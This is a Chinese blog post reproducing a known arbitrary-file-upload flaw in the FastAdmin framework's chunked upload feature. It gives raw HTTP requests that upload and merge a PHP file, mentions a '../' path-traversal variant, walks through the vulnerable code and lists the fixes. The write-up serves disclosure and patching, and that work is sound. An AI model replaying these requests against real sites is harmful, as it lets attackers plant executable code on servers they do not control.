0x01 简介

FastAdmin 是一款基于 ThinkPHP 5 + Bootstrap 的极速后台开发框架。致力于服务开发者,快速搭建自己属于自己的后台。

0x02 漏洞概述

2021年3月28日,360漏洞云漏洞研究员发现,FastAdmin框架存在有条件RCE漏洞,由于FastAdmin的前台文件上传功能中提供了分片传输功能, 但在合并分片文件时因对文件路径的拼接处理不当导致可上传任意文件。

0x03 影响版本

FastAdmin < V1.2.0.20210401_beta

且开启分片传输功能(默认关闭)

0x04 环境搭建

在官网上下载fastadmin,利用phpstudy搭建环境

https://package.fastadmin.net/full/1.2.0.20210125_full.zip

先开启分片上传功能,文件位置如下图

访问/public/install.php进行安装,填写数据无脑下一步即可

0x05 漏洞复现

漏洞需要一个低权限的账号

所以我们需要在前台注册一个普通用户

登陆后在个人资料头像处抓包并上传dog.jpg

更改上传数据包(需要注意图中几处红框的内容)

POST /index/ajax/upload HTTP/1.1

Host: test.test

Content-Length: 418

Accept: application/json

Cache-Control: no-cache

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurpjX18wIurjSyEp

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=rn1k8an9su59qb7ghosafer4vg; think_var=zh-cn; uid=2; token=aad3aa1e-1c65-4ee4-989a-bb3a82a4dd4a

Connection: close

------WebKitFormBoundaryurpjX18wIurjSyEp

Content-Disposition: form-data; name="file"; filename="dog.jpg"

Content-Type: application/octet-stream

<?php phpinfo(); ?>

------WebKitFormBoundaryurpjX18wIurjSyEp

Content-Disposition: form-data; name="chunkid";

test.php

------WebKitFormBoundaryurpjX18wIurjSyEp

Content-Disposition: form-data; name="chunkindex";

0

------WebKitFormBoundaryurpjX18wIurjSyEp--

上传成功之后,会在网站路径

C:\phpstudy_pro\WWW\fastadmin\runtime\chunks下生成一个test.php-0.part文件

发送数据包(需要注意图中几处红框的内容)

返回包显示200则代表合并成功

POST /index/ajax/upload HTTP/1.1

Host: tets.test

Content-Length: 42

Accept: application/json

Cache-Control: no-cache

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=mm4ejed8h7hubqq1stmogrut20; think_var=zh-cn; uid=2; token=f5a57bef-2ad2-496a-a4bc-66974bcc4a08

Connection: close

chunkid=test.php&chunkcount=1&action=merge

发包后访问

/fastadmin/runtime/chunks/test.php

(漏洞利用存在很大的局限性,首先是需要开启支持分片传输,我在调试的过程中发现,在指定 host 解析,设定网站的根目录为 /fastadmin/public 之后就无法访问  /fastadmin/runtime/chunks 下的文件,虽说如此,但是可以通过设定chunkid的值为 ../xxx.php 就可以实现跨目录的上传)

0x06 漏洞分析

根据漏洞描述需要开启支持分片上传,所以我们修改

application/extra/upload.php中chunking为 true

同时最新版本已经修复存在的漏洞,修复位置为

application/common/library/Upload.php

复现漏洞时,应注释这个部分

根据上传时的路由信息

/index.php/index/ajax/upload

定位至代码位置

application/index/controller/Ajax.php

漏洞的触发共分为两个过程,上传分片与合并分片

首先关注上传分片的过程 传入参数 chunckid 才会到上传分片的位置

\app\api\controller\Common::upload

\app\common\library\Upload::chunk

在 chunk 方法中,首先对 Content-Type 进行了校验,必须为 application/octet-stream 将传入的参数 chunckid  与  chunckindex 通过 - 连接,最后拼接 .part 最后保存到 /runtime/chunks/

当我们传递的 $chunkid 为 test.php , $chunckindex 为 0 时(参数选择为0,还有别的原因,下表),最后拼接出的分片文件名为test.php-0.part

然后是合并分片文件的操作,需要传入参数 action=merge 才会到合并分片文件的函数

\app\common\library\Upload::merge

在 merge 方法中会将 $chunkid 的值指定为最后保存的文件名,然后回根据传入的参数$chunkcount遍历查找是否分片文件上传完成,我们仅上传了一个分片文件,所以第一个分片文件应该设定为0,此处 chunkcount 的值应为1

之后就将分片传输的文件写入指定的文件中,最后返回文件信息,即使最后报错提示是不允许的上传类型,但是文件已经保存到 /runtime/chunks/  路径下

在上传对文件名进行校验的情况下,利用分片传输的中最后重命名文件名的特点,绕过对文件名的校验,实现了任意文件上传

0x07 修复方式

1、关闭分片传输

修改application/extra/upload.php中 chunking 为 false

2、升级FastAdmin版本,其中对 chunkid 做正则判断

点赞(2) 打赏

评论列表 共有 0 条评论

暂无评论

热门产品

触发修改文章时间【fastadmincms开发记录】|fastadmincms二次开发,触发,修改,文章,时间,fastadmin,ms,开发,记录
触发修改文章时间【fastadmincms开发记录】
在tp5中过滤输入的零宽度字符【fastadmincms开发记录】|fastadmincms二次开发,在tp5中,过滤,输入,的零,宽度,字符,fastadmin,ms,开发,记录
在tp5中过滤输入的零宽度字符【fastadmincms开发记录】
处理tag标签中的0宽空格【fastadmincms开发记录】|fastadmincms二次开发,处理,tag,标签,中的,0宽,空格,fastadmin,ms,开发,记录
处理tag标签中的0宽空格【fastadmincms开发记录】
添加专题时tags标签id出错【fastadmincms开发记录】|fastadmincms二次开发,添加,专题,时tags,标签,id,出错,fastadmin,ms,开发,记录
添加专题时tags标签id出错【fastadmincms开发记录】
20230518----模板 广告【fastadmincms开发记录】|fastadmincms二次开发,20230518,模板,广告,fastadmin,ms,开发,记录
20230518----模板 广告【fastadmincms开发记录】
cms添加视频模型【fastadmincms开发记录】|fastadmincms二次开发,ms,添加,视频,模型,fastadmin,开发,记录
cms添加视频模型【fastadmincms开发记录】
新增单篇收费复制功能【fastadmincms开发记录】|fastadmincms二次开发,新增,单篇,收费,复制,功能,fastadmin,ms,开发,记录
新增单篇收费复制功能【fastadmincms开发记录】
添加开会员折扣功能【fastadmincms开发记录】|fastadmincms二次开发,添加,开会,折扣,功能,fastadmin,ms,开发,记录
添加开会员折扣功能【fastadmincms开发记录】

历史上的今天:04月28日

FastAdmin-CMS模版制作(4)-通用引入

FastAdmin-CMS模版制作(4)-通用引入一、通用引入文件1.在模版文件夹内新建一个common文件夹,在commn文件夹内新建layout.html文件,改文件为整个站点结构的通用文件(文件夹和文件可以根据自己喜好进行命名,并没有强制要求),对模版文件夹不熟悉的请阅读上一章。image.png2.抽出网站的通用头部;底部;公用引入css、js、image代码,这里的通用是指在每个页面上都

DNS 预解析

DNS Prefetch 应该尽量的放在网页的前面,推荐放在&lt;meta charset=&quot;UTF-8&quot;&gt;后面。具体使用方法如下&lt;metahttp-equiv=&quot;x-dns-prefetch-control&quot;content=&quot;on&quot;&gt;&lt;linkrel=&quot;dns-prefetch&quot;href=&

dns-prefetch是什么 前端优化:DNS预解析提升页面速度

dns-prefetch是什么 前端优化:DNS预解析提升页面速度在网页体验中我们常会遇到这种情况,即在调用百度联盟、谷歌联盟以及当前网页所在域名外的域名文件时会遇到请求延时非常严重的情况。那么有没有方法去解决这种请求严重延时的现象呢目录诞生背景Dns请求虽然占用了很少的带宽,但会有很高的延迟,由其以移动网络会更加明显。通过dns预解析技术可以很好的降低延迟在firefox上使用dns-prefe

解疑:rel=”pingback“ 有什么用?

解疑:rel=”pingback“ 有什么用?wp 中如下link 到底有什么用?&lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo( &#39;pingback_url&#39; ); ?&gt;&quot;&gt;PingBack声明是什么?Pingback是博客中用来通知其他网志系统文章被引用情况的一种手段。它出现完全

热门专题

云南高职单招|云南单招,云南单招网,云南高职单招网,云南高职单招,云南单招学校,云南单招培训
云南高职单招
安徽开放大学|安徽开放大学报名,安徽开放大学报考,安徽开放大学,什么是安徽开放大学,安徽开放大学学历,安徽开放大学学费,安徽开放大学报名条件,安徽开放大学报名时间,安徽开放大学学历,安徽开放大学专业
安徽开放大学
易捷尔单招|易捷尔单招,易捷尔单招培训,易捷尔单招报名,易捷尔单招考试,易捷尔单招培训学校,易捷尔单招分数
易捷尔单招
外贸网站建设|外贸网站建设,英文网站制作,英文网站设计,美国主机空间,外贸建站平台,多语言网站制作
外贸网站建设
中源管业|中源管业,中源管业公司,中源管业有限公司,中源管业电话,中源管业地址,中源管业电力管,中源管业mpp电力管,中源管业cpvc电力管,中源管业pe穿线管
中源管业
昆明综合高中|昆明综合高中
昆明综合高中
天麻的功效与作用吃法|天麻的功效与作用,天麻的功效与作用吃法,天麻炖什么治头痛最好,天麻的功效与作用禁忌,天麻多少钱一斤,天麻的功效与作用吃法及禁忌,天麻怎么吃效果最好,天麻粉的功效与作用,天麻怎么吃
天麻的功效与作用吃法
昆明网站建设|昆明网站建设,昆明网站开发,昆明网站建设公司,昆明网站建设价格,昆明网站设计,昆明网站制作,网页设计,高端网站建设,高端网站设计
昆明网站建设

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部